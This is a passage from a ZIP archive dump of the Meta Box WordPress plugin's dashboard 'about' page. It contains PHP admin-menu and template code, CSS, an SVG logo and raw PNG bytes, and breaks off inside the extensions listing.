			'data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPHN2ZyB2aWV3Qm94PSIxNjQuMzI4IDE0OS40NDEgNTMuNDcgNDIuNjYiIHdpZHRoPSI1My40NyIgaGVpZ2h0PSI0Mi42NiIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICA8cGF0aCBkPSJNIDIwNC42NjggMTc5LjM5MSBMIDIwNS40ODggMTYwLjU1MSBMIDIwNS4zMTggMTYwLjUyMSBMIDE5My44ODggMTkyLjEwMSBMIDE4OC4xNDggMTkyLjEwMSBMIDE3Ni43NzggMTYwLjY0MSBMIDE3Ni42MDggMTYwLjY2MSBMIDE3Ny40MjggMTc5LjM5MSBMIDE3Ny40MjggMTg2LjA5MSBMIDE4MS45OTggMTg2Ljk3MSBMIDE4MS45OTggMTkyLjEwMSBMIDE2NC4zMjggMTkyLjEwMSBMIDE2NC4zMjggMTg2Ljk3MSBMIDE2OC44NjggMTg2LjA5MSBMIDE2OC44NjggMTU1LjQ4MSBMIDE2NC4zMjggMTU0LjYwMSBMIDE2NC4zMjggMTQ5LjQ0MSBMIDE2OC44NjggMTQ5LjQ0MSBMIDE4MC4wMjggMTQ5LjQ0MSBMIDE5MC44OTggMTgwLjg4MSBMIDE5MS4wNzggMTgwLjg4MSBMIDIwMi4wMzggMTQ5LjQ0MSBMIDIxNy43OTggMTQ5LjQ0MSBMIDIxNy43OTggMTU0LjYwMSBMIDIxMy4yMjggMTU1LjQ4MSBMIDIxMy4yMjggMTg2LjA5MSBMIDIxNy43OTggMTg2Ljk3MSBMIDIxNy43OTggMTkyLjEwMSBMIDIwMC4xMjggMTkyLjEwMSBMIDIwMC4xMjggMTg2Ljk3MSBMIDIwNC42NjggMTg2LjA5MSBMIDIwNC42NjggMTc5LjM5MSBaIiBzdHlsZT0iZmlsbDogcmdiKDE1OCwgMTYzLCAxNjgpOyB3aGl0ZS1zcGFjZTogcHJlOyIvPgo8L3N2Zz4='
		);
	}

	public function add_submenu() {
		$parent_menu = $this->has_menu() ? 'meta-box' : $this->get_parent_menu();
		$about       = add_submenu_page(
			$parent_menu,
			__( 'Welcome to Meta Box', 'meta-box' ),
			__( 'Dashboard', 'meta-box' ),
			'activate_plugins',
			'meta-box',
			[ $this, 'render' ]
		);
		add_action( "load-$about", [ $this, 'enqueue' ] );
	}

	public function hide_page() {
		remove_submenu_page( $this->get_parent_menu(), 'meta-box' );
	}

	public function render() {
		?>
		<div class="wrap">
			<div id="poststuff">
				<div id="post-body" class="metabox-holder columns-2">
					<div id="post-body-content">
						<div class="about-wrap">
							<?php
							include __DIR__ . '/sections/welcome.php';
							include __DIR__ . '/sections/tabs.php';
							if ( $this->update_checker->has_extensions() ) {
								include __DIR__ . '/sections/getting-started-pro.php';
							} else {
								include __DIR__ . '/sections/getting-started.php';
							}
							include __DIR__ . '/sections/extensions.php';
							include __DIR__ . '/sections/support.php';
							do_action( 'rwmb_about_tabs_content' );
							?>
						</div>
					</div>
					<div id="postbox-container-1" class="postbox-container">
						<?php
						include __DIR__ . '/sections/products.php';
						include __DIR__ . '/sections/review.php';
						if ( ! $this->update_checker->has_extensions() ) {
							include __DIR__ . '/sections/upgrade.php';
						}
						?>
					</div>
				</div>
			</div>
		</div>
		<?php
	}

	public function enqueue() {
		wp_enqueue_style( 'meta-box-about', RWMB_URL . 'inc/about/css/about.css', [], RWMB_VER );
		wp_enqueue_script( 'meta-box-about', RWMB_URL . 'inc/about/js/about.js', [ 'jquery' ], RWMB_VER, true );
	}

	/**
	 * Redirect to about page after Meta Box has been activated.
	 *
	 * @param string $plugin       Path to the main plugin file from plugins directory.
	 * @param bool   $network_wide Whether to enable the plugin for all sites in the network
	 *                             or just the current site. Multisite only. Default is false.
	 */
	public function redirect( $plugin, $network_wide = false ) {
		$is_cli           = 'cli' === php_sapi_name();
		$is_plugin        = 'meta-box/meta-box.php' === $plugin;
		$is_bulk_activate = 'activate-selected' === rwmb_request()->post( 'action' ) && count( rwmb_request()->post( 'checked' ) ) > 1;

		if ( ! $is_plugin || $network_wide || $is_cli || $is_bulk_activate || $this->is_bundled() ) {
			return;
		}
		wp_safe_redirect( $this->get_menu_link() );
		die;
	}

	private function get_menu_link(): string {
		$menu = $this->has_menu() ? 'admin.php?page=meta-box' : $this->get_parent_menu() . '?page=meta-box';
		return admin_url( $menu );
	}

	private function get_parent_menu(): string {
		return 'plugins.php';
	}

	private function has_menu(): bool {
		return apply_filters( 'rwmb_admin_menu', false );
	}

	private function is_bundled(): bool {
		// @codingStandardsIgnoreLine
		foreach ( $_REQUEST as $key => $value ) {
			if ( str_contains( $key, 'tgmpa' ) || ( is_string( $value ) && str_contains( $value, 'tgmpa' ) ) ) {
				return true;
			}
		}
		return false;
	}
}
PK     0w\7j  j  .  dashboard/lib/meta-box/inc/about/css/about.cssnu [        .about-wrap {
	padding-right: 20px;
}
.about-wrap.about-wrap .wp-badge {
	background-image: url(../images/meta-box.svg);
	background-color: #fff;
	color: #222;
	text-transform: uppercase;
	font-weight: bold;
	text-decoration: none;
}

.wp-badge:hover {
	text-decoration: none;
}

.about-buttons .dashicons {
	position: relative;
	top: 5px;
	width: 16px;
	height: 16px;
	font-size: 16px;
}

#poststuff .nav-tab-wrapper {
	padding: 0;
	margin-top: 60px;
}

.nav-tab-active:focus {
	box-shadow: none;
}

.gt-tab-pane {
	display: none;
	padding-top: 24px;
}
.gt-tab-pane .about-description.about-description {
	margin-top: 0;
}

.gt-is-active {
	display: block;
}

.two {
	display: flex;
}
.two .col + .col {
	margin-left: 40px;
}
.two h3 {
	margin-top: 2em;
}
.two h3:first-child {
	margin-top: 0;
}
.two img {
	display: block;
	box-shadow: 0 0 20px rgba(0, 0, 0, .1);
	border-radius: 4px;
}
.screenshot {
	display: block;
	margin: 3em auto;
}
.col {
	flex: 1;
	max-width: 50%;
}
.col ul {
	font-size: 14px;
	margin: 2em 0;
}
.col li a {
	text-decoration: none;
}

/* Extensions tab */
.extensions {
	margin-top: 40px;
	display: flex;
	justify-content: space-between;
	flex-wrap: wrap;
}
.extension {
	width: 100%;
	margin-bottom: 20px;
}
.extension-inner {
	display: flex;
	background: #fff;
	padding: 25px 20px;
}
.extension-inner svg {
	width: 36px;
	height: 36px;
	margin: 8px 15px 0 0;
	fill: #b4b9be;
}
.extension-info {
	flex: 1;
}
.extension-info.extension-info h3 {
	margin: 0 0 5px;
	font-size: 1.2em;
}
.extension-info p {
	margin: 0;
}
.extension-action {
	border-top: 1px solid #ddd;
	text-align: center;
	padding: 20px;
	background: #f7f7f7;
}

/* Extensions tab: 2 columns */
@media (min-width: 768px) {
	.extension {
		width: 49%;
	}
}
/* For large screen: 3 columns */
@media (min-width: 1600px) {
	.extension {
		width: 32%;
	}
}

/* Right column */
#post-body.columns-2 #postbox-container-1 {
	position: fixed;
	right: 320px;
	top: 80px;
}

@media (max-width: 1279px) {
	#postbox-container-1 {
		display: none;
	}
	#poststuff #post-body.columns-2 {
		margin-right: 0;
	}
}

/* Upgrade */
.upgrade {
	border: 3px dashed #82878c;
	background: #fff;
	padding: 15px;
}
.upgrade .dashicons {
	color: #ef4836;
	width: 26px;
	height: 26px;
	font-size: 30px;
	position: relative;
	top: -4px;
	left: -5px;
}
.upgrade h3 {
	margin: 0;
}
.upgrade li {
	padding-left: 20px;
	position: relative;
}
.upgrade svg {
	width: 1em;
	height: 1em;
	fill: #0073aa;
	position: absolute;
	top: 4px;
	left: 0;
}

.youtube-video-container {
	position: relative;
	overflow: hidden;
	width: 100%;
}

.youtube-video-container::after {
	display: block;
	content: "";
	padding-top: 56.25%;
}

.youtube-video-container iframe {
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
}
#getting-started .tutorial a {
	font-size: 32px;
	font-weight: 600;
	color:#32373c;
	text-decoration: unset;
}
#getting-started .tutorial a:hover {
	color: #2271b1;
}
.tutorial-items{
	display: grid;
	grid-template-columns: repeat(2, 1fr);
	gap: 15px 30px;
	margin-top: 30px;
}
@media (max-width: 767px) {
	.tutorial-items{
		grid-template-columns: repeat(1, 1fr);
		gap: 15px 0px;
	}
}
.tutorial-items a{
	font-size: 20px;
	font-weight: 500;
	color:#32373c;
	text-decoration: unset;
}
.tutorial-items a:hover{
	color:#2271b1;
}
.tutorial-items a span{
	margin-right: 5px;
}
.tutorial-items a p{
	font-size: 14px;
	font-weight: 400;
	color:#32373c;
}
PK     0w\dq
3  3  <  dashboard/lib/meta-box/inc/about/images/online-generator.pngnu [        PNG

   IHDR    S   ;Vk   gAMA  a   sRGB    PLTEFTb/?Oݙt~P^kbmzmxѦ|KXf5DUgr~AO_Uao<KZ]ivھYesQcvɍԴ웸穨ރmj!  2IDATxk{LGqDPTDr2iRsۦ}e'vv"	 _  Y  
   
 d @V  d   +   Y f雸 |hTs,
wni7IŲ(/d  Y!+   Y7%6 YV>uGFz]־ː?[]% >#4VдGǂaEbyֹѶVe塸Y/-#1X1" |FV}`$I>_ͅU'+Y<ygԯJwIQ4Z+8I47uy֋B??Zقu-F		Zb:/cz6&;G9Vݞpg6
݈bț׬}ߨe*YM;O<U^}fX~i˜ZV>D|/y#ܡ6]0L ||lΕ*mSDƾos=jA|v1㍖kY>LkY7s1܉^*n#%F	ɚ(k7<hȚղ
5Q\ϓUթW[K*D֞]Xo8,1L |||Y5it~aeoBUX6i)6{v|ve1Ȑ- Ul0M#<檨\VOÍy<b9
o꣬;;& >.^NiGTv~+%sq_:4[|I jbC/o_!+   Y!+  
Y AV    +   Y   Y  
  @V  d @V  +    +   Y  
 f_S}+OjZ>^ñ7\w[_톫ࣶ~VV|9~BV Y!+d
Y!+
Yd@V
r4xԪ=o<%HV|_`=Wt1R׭b۞[e N_ϧȻm{|ퟑ5&yäg//[>+Yd-Ϛ[3{pL>O֒ga	iFoH#<aTMDF;ͫ~K|LTMRSƲHL"Ҥ"랺mjR#"SKIVkgYomPV) k✕J-fL8`*kY7֡2BF?aQ\^c~@$m4"k<2&ْ9zzvi{>/h6p~Nih'($=u'OS{Om|;RKE6&mh6u
*{eNgWd
Yyi5?{\yj+kPYֲF\*< )":tf:]dN*溱sOFː":qpB)]/+rn!TBz(R0i$Gn)Y̎m;9P~DDzcRz&Yfh)!6	ymeϊ	!iDP[T|TVYuDj\d3w˺k;(vէ#kd5vVEl۽\kj|^J uHnjۇk/(_(m;bvD>d9h͚5`hd]ۊy}"Rmd5z&\W!evdF#:/&qKm]וS%܇.Xґ+Yu\C2?>R'K!"RlRh8ڍ7TȪ!?ZYڮ/`dUBDTV/lsoNP88)X9	(k׮d2~CY<C\RKhO!9Ɇ38kuk)'ÚM-u{FhvVh&]q>*~(";Էn:Y22}㙬RYu( +^}(k׮em3~CY#3*Y#T9"zL艬z'+͆yI;s%"ū=$2L*y~庬"3굇.ΏMyyPq_&ʡ_ZEv}v?D9Qf&Z+QDuN&5Q1oDq(趷wCYnǷh^[7WzT	+L8րn
768E	V4GC~XX`VXX`VV`EXrTE|1|Dz+_ϊKϿ;9)]  "" + +  ^5hԂi9NBYah6xNVBYvIntl&gENϺcEYf_a@XV5`ER	X	JMV`En +>+^T{||4`V$X8+sV\"Vѫ3ߖVL׊+GXoeɔz9e_$"%INJWڬAX+Wb}5ãLǹٿGFO~Jc+Fc`~RX=Flf؎X:̕Ǽx\QTpGP˟#Ò=zM8Vs6tIPP
#tƣX{*SXI3qB@թh4FND:@oS;b
n$JId
Nb:߇Ugjt(̘*$z<VU,VVU:뾚Oς՜ɖ44Pc.`YQMǖ[ɬ@/;Bc>ԏ1^!}_"1sñ:H.0qb	7BS0CO:QXĒ%5}otE'#6Aʍj XkyD$>J*DQy#/3iÏߢywۭbs+
mC|4V$X[դM1+vZԪx+9}
kNk"-`EV`EX`V~
	S+ru(kŊ GX1;r\.2/B`E{;V`EeX`VV`EVXAX`EV`Eg٨/ҹ-+^^($MH^G$$H>/Z=}	7_(K{`>a?(
a jF['է5=>yñXTŵc+p]ose6tn.놟c]y L"{VAh`S/ذ&b@V`=	rOF0.М-Cwb3`XW05[Mյl[^dK=`*`^ϵhb]
 p=VVnr=6]Vj0 ǺrUc/HUϐ{	j"Bwq2jV`=8gۅўl02us;+E{V0OY"kfNc?{9oc]y5V$I-y\d(t`uC7m\[a"XX]sƥ*z,"k+[k?iOXINhޮs\)z3,vX":״;6DC.id+&=g+8Ux)l·U]VSlgX[*#YyW<ް
MkNB`փѐ#C}YբPcXF&F:yClm!bM2ysζ<km{&3VgS}?
=ՐD"*`U]b iR(b,Od<G')o`: 7Ic;V"L5ϏlM=T)UcmTzR&Bʰ"z)建TP(TѥGamZ&O#p$M٢WtQ"ˠHCz-k#ֆ3**<,\\鎍2mR;.I^G9̚nA=r,a}/NEE%l0khn 
+"
 k`mV$uXSXaŏ|G[o`VXQրV`E`VX`EXXVXcE&`Bn+U落_bEFV4^i?YGQkXgѷv


 ++LDw.ZĒ"wq!b<YjlQZXv6$49"7U2rʱXſk9ˁ/FM}2ʆ1$fhh%Yț}hqKds(/ffV+&7e@sPyg2zjXl'˝`-W2"Mj:5yV2ysNjP#YKI$.4jTPE*/UurǙe-{$ʹ`L/sJ^Ś%BlmNi |x, hDߒTT?I}vjv9*:5+M:"Rآra|ӻqZR@lv<MMf̅Ͽ^Ku*XSeڧn Uxq4N>.xL#o
Z9g=aUs!>֚`?/4EutRor?+yN_}P`=.Vyzqa}zPB+Z:T`djSҲ-Բzeu+^Lp(GUٰ`3OFijoxr EQZϼ7_ݼUfSsiYp,/m% 1nkaE[EzL4.XUXpHN۰"~_^`}ܟ,!Vb=cUy|GvӮ.ͫ`ɰƺDsi+Jb%b\^8_>C7հ2JݥA=	>^be:S~.t+'IX8!Vbp.VE?xF~6^7=s#X_"VbeXb%VXy+C0m`eM2=B(gzCnc|~b%VbeXb%VbeXհnӓ z7$VXp T驼`"VXqX{x!5^C+ƚ(",Y$%hdwj)ѺkUV2UrBLOF!$kXOKl-q<u|Lo7]))f1àhx,q&?H`UWH-91Dz>D	U{XNt@jMDMS!m+49?coLhڃ֫cYo^+)o0/1uXۖbv|-փV#XW|{1ρ(Ghn3cدz7b~&w IwU׫nXYnH+++C`aXXr´廰G/zzֱ~~HS~.ߌݾ.ǉ<+񨥣b7O?>`$qo_z_;bzi[+b)w~D1CGKsXɣkԸ}h~.wRb%\Gf,l'ۙza_]ZֻeXݗ5{_p+ּ0iNeee]^kSb%N4w.uVU5y}J<JۜXc`ez֗nrlygRb%\Qe"S7X̭,*nե>O<]`RD񙻔X{E-`"Vb$Vb%VbeXVf+VB~be!r?p2?+s`gk7.Zg5ԈX?{^7K`5Vӽ}b+2\u|%[X^cU%ߚ3E͛7D2:RaXfzB#!}fBl=WU("l+j&2b ^c-lHL:BBC(nr1.FVz26['L]h:D!z+WA&jJ[@(&*	?d1%	2-RV6=6X5P2}Ūi:unI\`{UeF  PkYWAX@<k$V@b<7 6IU6fGc(o0/;g&	*O`n0oZQ6ܪc-6=`J9C{1ú=Kr`UbCLOD??_ps+WW7LﱲܐXb%VXXb%V!Vbe+9u!VsX9mLm:Wv̇G2{nɝh+~VU%VbYv+r+22JJJ+2JJ߈L7QD=ۨ&`娛uC=1XX!Vb%Vb%VbeX!\ZXb}#Xý^z2z}b2
jї)	%uXbuWA	ik)#/QX4\cd4C>n&V#m[kCf-zcG%Vbmk֬g^n IzΊqG8Xn(&/KOJ-+ هܶR`>s{( &whFEnQL̸3lD
&>Q*iDR(k;}bEfnLi05}9a%'6/u2-)kאol)ʘ1Tv$ۂd{=BPؤ/NXXWDV{=y]$D~^d
D)e鴴ްnRf,J҈LcvгF)S|ZrR_i +^sгOeUI$KD^yCiĵ,@*gpGuŘ>aVTXX'gI,?{nxZo)_Q`%tº.kcIXFXI%z^$3gE>slaǦ 3cXo۹ 8*c+^T"v6b;nW=flͽfeX<ysm|<+v
X4,ߣyX(vy[06V"-+|7r/XO +d
w+=XM	=+XV`ֻJ	+ޅ5+]XYX*+ޅun\Ū=b ?}X9L*aM>g7
2k%ޔ)G
DӡuxLǺzAM?IG.~1`VrU?=tU~9Vz<-^ʩQ!a\+b+4XL'`ܪ%"O5ldL;kנPl(,q%?*vDb!ٷ)тsߤUNźE,R<	֝U*hu5VRr=$HʋjQhe%I+s61	mS
S,U;H&S}$/R!;ab48qtkDH8*FJ\O(:X %2unojU"τՔZUEbfms3H$(E~9}c"U:=I-+LX	QPK-֮!&5.9""=׈</"ur*HRі6WŪqkj4&*M`EIxȠAiYDQZJ;ddDbQtr^u{VVl0!OsJf-[5nlOOj"dHѳ"σV`EXV`VXֿiXaE)ఢcF+}Lj0!n<V+0V`ſXV`V`V`EX=V`zLX16kSM*+~+fY7 @)o>=LX?Y|V[d憿v;-V1V`ց`e^YeMm3f٬hKcݲ09#+`V`&ebnt&ae5?YeaL	ǻXXaz9v=ktZ5x0V`ް[mƭ̩5Y-ϱN-uXL`V`	8e̙dt4,srĺ7i,Lf9M}m'l̀X!r~q}1KDۘA(b_ 8*c+^Tmi؞[uYǹuYXBI6=\zV~͆:`LȞ(hQ)ҷ<{zyݲ7n';{e6ʬLfKoUѭR@
X=iMU%ke=k ?Sk4"ѣoֳ g8A`{4ϛi-";aE#%.՛`ͅzЏHUvXSGZQKyXгnVXO=kK-\"Œ+ViW +iӐkId[baUxmf|tɳiR
V乱v4"CS{[bv{aHP7xXQV"?>V	uW`VXXa`EఢmVdpXQ1|#πľDX`ű+ +" + 
agyt+2> bf+rSHO{AX`E+lpXQpaEAj+*``VX`V`V`VJREV崇Z+~8_]ǤJ>Y~4A1+ɯO+-VX+V.bҿv 1O7 P4|PmN:3wmR <č\XOrhNv.Y+-+~.ﱲ'*DvMfh)|DEX]ڈS"Ū&[
qw>>;JDye;="Z~jV`TiPWrg7bey
B~e	<G V`ϾnVQKݑ3a16=ydINXX
k,MUfZY6+aCͥ<]_XX?<H_y®Wk`;*J}XQ+ƪFTlQW
XXo l\9	X"*Mm%7w]ԅW]flG˖ѲV`ENܲ)ցY1.U7j VfR
W`]EJ,s܍P*Vl-'MU+vR
c5JJ*!E>c=
563MA{)
bn1n5ZԌ-%z+6)<l+<U}!_hR
X'?E
!8<c;a2ɣLdK!4!*FъٙQ
X'j\7ouJϥAnPV`E`VXX`VV`EVXAX+&ST1X1r`E&)dbE>#+"
+"
`1Ê'nV<I3`VEn#?+VXW^{X'cqzXX[g	m`V`z'DNED=/I?=9_XYYq1뤰ڦtb'R<̇F_]Jmw 7KP:UuRd7KWov]։bmDŜNQi+Q\>sQ&:uorUТ(>S;Gul*'ǢKXRzD[E	KrSza="vn2k߶cRZja5uepM)3
#8<Qc_ZV%Jg	-+"&J;b;gQDs$҂"\dUD'#rh4N;ɗb1Fh͉(ND\^a]ujGBHw*h
kAT.b^Q-`އb]DQH;17"'^ XKXW!˂YRcVvJlVzS摖%ZN+3~z֩cƧև1)˰1.JMjW:&#UuJiޤc+V_R`me٨XNqt:K'VƒV'uPu\bBg>L";5Yޯd1&=*f̭햑~};YX_bq]IqU[Q< Yy;`jgUV~n2S	Qjj9`ϊW}PǜGd:|yNm>fXrƣ)ffRlY tU+vp7넮`cvz|cErc=zZ3n"֦
e*jD\q->[aUXRls٭[\ω!AzZi>/
;?}ZCl4	2_"sE3!Ʌ Xlb/9)2"_X1n49+?EX+溹׹n"XV`VXV`VXXĊ9^FS>*VdX1M-V< +" + +" + +" +ʠ!"+:#?M*^C	V|`VbNśv\	=lYX}EDf2.k
9XÒI=VK5VA
=FD:`*J`Q;GߕVJoLi?PFMkڜnC V`͙O"V6<OIѬgOUsUSw\Zև6xAo!X7gފ5&%iUL#Vz1"Gf+ZXC`ߝygCD|g}zE (N>qXrcm8/XgmSE 
o؞RE,@`m"F5Q9fj$N~FdSp m`%_O%h-mo֒	&dtY{pwNsbu1pu̝k
WF~pTt\Xpڞ>·iw=^W*Xŕ'T˗c1_?./9_1`Xy{GVܙTk#.(cBәoMCȺ%`m>n٩+JTH
kj)bm-`P'̼TXK]tہ^+n'Yr/QVFE/~'fXJ*_#֡ɴĚ.#TcU;~F/geX)X&&3+ A)XX	`%V
V+XJ`+X	`%].rz*R39;ӭ`<XJ`%XJLJ`%2`+J
&V0m`em0kFbosfQY{hwY땰{<{z-DS`+D`+`%`%X	`%J֘w9+Qn+Quv3Le%OAbǁqjԂ1X=ݯ4EdwHR]&+QsS,dE˛i TX;6AXff!^+4$JV&ax-+2S=ĤnYcDZ`LcyԵ<͌Fb`%>֗Q[yn}rL u3~	tX7+`[J`%`%`%+X	`%,Vv;י].YZu5|ɝω.JD`%+JV"+DV"+XD`eJD_؟hԯ3I0    IENDB`PK     0w\Ӕ0  0  4  dashboard/lib/meta-box/inc/about/images/meta-box.svgnu [        <?xml version="1.0" encoding="utf-8"?>
<svg viewBox="227 227 46 46" width="46" height="46" xmlns="http://www.w3.org/2000/svg">
  <rect style="" x="227" y="227" width="46" height="46" rx="4" ry="4"/>
  <path d="M 256.873 255.508 L 257.283 246.088 L 257.193 246.078 L 251.483 261.868 L 248.613 261.868 L 242.933 246.138 L 242.843 246.148 L 243.253 255.508 L 243.253 258.868 L 245.533 259.308 L 245.533 261.868 L 236.703 261.868 L 236.703 259.308 L 238.973 258.868 L 238.973 243.558 L 236.703 243.118 L 236.703 240.538 L 238.973 240.538 L 244.553 240.538 L 249.993 256.258 L 250.073 256.258 L 255.553 240.538 L 263.433 240.538 L 263.433 243.118 L 261.153 243.558 L 261.153 258.868 L 263.433 259.308 L 263.433 261.868 L 254.603 261.868 L 254.603 259.308 L 256.873 258.868 L 256.873 255.508 Z" style="fill:#fff"/>
</svg>
PK     0w\a    5  dashboard/lib/meta-box/inc/about/sections/support.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<div id="support" class="gt-tab-pane">
	<p class="about-description">
		<?php
		$allowed_html = [
			'a' => [
				'href' => [],
			],
		];
		// Translators: %s - link to documentation.
		echo wp_kses( sprintf( __( 'Still need help with Meta Box? We offer excellent support for you. But don\'t forget to check our <a href="%s">documentation</a> first.', 'meta-box' ), 'https://docs.metabox.io?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box' ), $allowed_html );
		?>
	</p>
	<div class="two">
		<div class="col">
			<h3><?php esc_html_e( 'Free Support', 'meta-box' ); ?></h3>
			<p><?php esc_html_e( 'If you have any question about how to use the plugin, please open a new topic on WordPress.org support forum or open a new issue on Github (preferable). We will try to answer as soon as we can.', 'meta-box' ); ?><p>
			<p><a class="button" target="_blank" href="https://github.com/wpmetabox/meta-box/issues"><?php esc_html_e( 'Go to Github', 'meta-box' ); ?> &rarr;</a></p>
			<p><a class="button" target="_blank" href="https://wordpress.org/support/plugin/meta-box"><?php esc_html_e( 'Go to WordPress.org', 'meta-box' ); ?> &rarr;</a></p>
		</div>

		<div class="col">
			<h3><?php esc_html_e( 'Premium Support', 'meta-box' ); ?></h3>
			<p><?php esc_html_e( 'For users that have bought premium extensions, the support is provided in the Meta Box Support forum. Any question will be answered with technical details within 24 hours.', 'meta-box' ); ?><p>
			<p><a class="button" target="_blank" href="https://support.metabox.io/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Go to support forum', 'meta-box' ); ?> &rarr;</a></p>
		</div>
	</div>
</div>
PK     0w\dd.  .  8  dashboard/lib/meta-box/inc/about/sections/extensions.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<div id="extensions" class="gt-tab-pane">
	<p class="about-description">
		<?php esc_html_e( 'Extend custom fields in WordPress well beyond what others would ever consider ordinary!', 'meta-box' ); ?><br>
		<?php esc_html_e( 'Save over 80% with our extensions bundles.', 'meta-box' ); ?> <a target="_blank" href="https://metabox.io/pricing/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'View Bundles', 'meta-box' ); ?> &rarr;</a>
	</p>
	<div class="extensions wp-clearfix">
		<div class="extension">
			<div class="extension-inner">
				<svg viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1596 476q14 14 28 36h-472v-472q22 14 36 28zm-476 164h544v1056q0 40-28 68t-68 28h-1344q-40 0-68-28t-28-68v-1600q0-40 28-68t68-28h800v544q0 40 28 68t68 28zm160 736v-64q0-14-9-23t-23-9h-704q-14 0-23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23-9t9-23zm0-256v-64q0-14-9-23t-23-9h-704q-14 0-23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23-9t9-23zm0-256v-64q0-14-9-23t-23-9h-704q-14 0-23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23-9t9-23z" /></svg>
				<div class="extension-info">
					<h3>MB Custom Post Type</h3>
					<p><?php esc_html_e( 'Create and manage custom post types easily in WordPress with an easy-to-use interface.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/custom-post-type/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Free Download', 'meta-box' ); ?></a>
			</div>
		</div>
		<div class="extension">
			<div class="extension-inner">
				<svg viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M736 1440q0 12-10 24l-319 319q-10 9-23 9-12 0-23-9l-320-320q-15-16-7-35 8-20 30-20h192v-1376q0-14 9-23t23-9h192q14 0 23 9t9 23v1376h192q14 0 23 9t9 23zm1056 128v192q0 14-9 23t-23 9h-832q-14 0-23-9t-9-23v-192q0-14 9-23t23-9h832q14 0 23 9t9 23zm-192-512v192q0 14-9 23t-23 9h-640q-14 0-23-9t-9-23v-192q0-14 9-23t23-9h640q14 0 23 9t9 23zm-192-512v192q0 14-9 23t-23 9h-448q-14 0-23-9t-9-23v-192q0-14 9-23t23-9h448q14 0 23 9t9 23zm-192-512v192q0 14-9 23t-23 9h-256q-14 0-23-9t-9-23v-192q0-14 9-23t23-9h256q14 0 23 9t9 23z"/></svg>
				<div class="extension-info">
					<h3>Meta Box Builder</h3>
					<p><?php esc_html_e( 'Drag and drop your custom fields into place without a single line of code.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/meta-box-builder/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Learn More', 'meta-box' ); ?></a>
			</div>
		</div>
		<div class="extension">
			<div class="extension-inner">
				<svg viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M512 1248v192q0 40-28 68t-68 28h-320q-40 0-68-28t-28-68v-192q0-40 28-68t68-28h320q40 0 68 28t28 68zm0-512v192q0 40-28 68t-68 28h-320q-40 0-68-28t-28-68v-192q0-40 28-68t68-28h320q40 0 68 28t28 68zm1280 512v192q0 40-28 68t-68 28h-960q-40 0-68-28t-28-68v-192q0-40 28-68t68-28h960q40 0 68 28t28 68zm-1280-1024v192q0 40-28 68t-68 28h-320q-40 0-68-28t-28-68v-192q0-40 28-68t68-28h320q40 0 68 28t28 68zm1280 512v192q0 40-28 68t-68 28h-960q-40 0-68-28t-28-68v-192q0-40 28-68t68-28h960q40 0 68 28t28 68zm0-512v192q0 40-28 68t-68 28h-960q-40 0-68-28t-28-68v-192q0-40 28-68t68-28h960q40 0 68 28t28 68z" /></svg>
				<div class="extension-info">
					<h3>Meta Box Group</h3>
					<p><?php esc_html_e( 'Create repeatable groups of custom fields for better appearance and structure.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/meta-box-group/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Learn More', 'meta-box' ); ?></a>
			</div>
		</div>
		<div class="extension">
			<div class="extension-inner">
				<svg viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1152 896q0-106-75-181t-181-75-181 75-75 181 75 181 181 75 181-75 75-181zm512-109v222q0 12-8 23t-20 13l-185 28q-19 54-39 91 35 50 107 138 10 12 10 25t-9 23q-27 37-99 108t-94 71q-12 0-26-9l-138-108q-44 23-91 38-16 136-29 186-7 28-36 28h-222q-14 0-24.5-8.5t-11.5-21.5l-28-184q-49-16-90-37l-141 107q-10 9-25 9-14 0-25-11-126-114-165-168-7-10-7-23 0-12 8-23 15-21 51-66.5t54-70.5q-27-50-41-99l-183-27q-13-2-21-12.5t-8-23.5v-222q0-12 8-23t19-13l186-28q14-46 39-92-40-57-107-138-10-12-10-24 0-10 9-23 26-36 98.5-107.5t94.5-71.5q13 0 26 10l138 107q44-23 91-38 16-136 29-186 7-28 36-28h222q14 0 24.5 8.5t11.5 21.5l28 184q49 16 90 37l142-107q9-9 24-9 13 0 25 10 129 119 165 170 7 8 7 22 0 12-8 23-15 21-51 66.5t-54 70.5q26 50 41 98l183 28q13 2 21 12.5t8 23.5z" /></svg>
				<div class="extension-info">
					<h3>MB Settings Page</h3>
					<p><?php esc_html_e( 'Create a powerful settings page for your theme, plugin or website.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/mb-settings-page/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Learn More', 'meta-box' ); ?></a>
			</div>
		</div>
		<div class="extension">
			<div class="extension-inner">
